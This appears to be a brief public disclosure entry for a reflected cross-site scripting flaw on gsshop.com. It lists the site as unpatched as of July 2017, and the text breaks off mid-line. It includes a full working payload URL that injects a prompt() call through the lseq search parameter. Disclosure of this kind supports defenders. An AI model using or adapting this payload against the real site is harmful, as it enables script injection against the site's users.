gsshop.com XSS vulnerability

Vulnerable URL: http://www.gsshop.com/search/noResult.gs?lseq=390247=%27-prompt%28%27XSSPOSED%27%29-%27=b1=7=B=30=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5041 Google...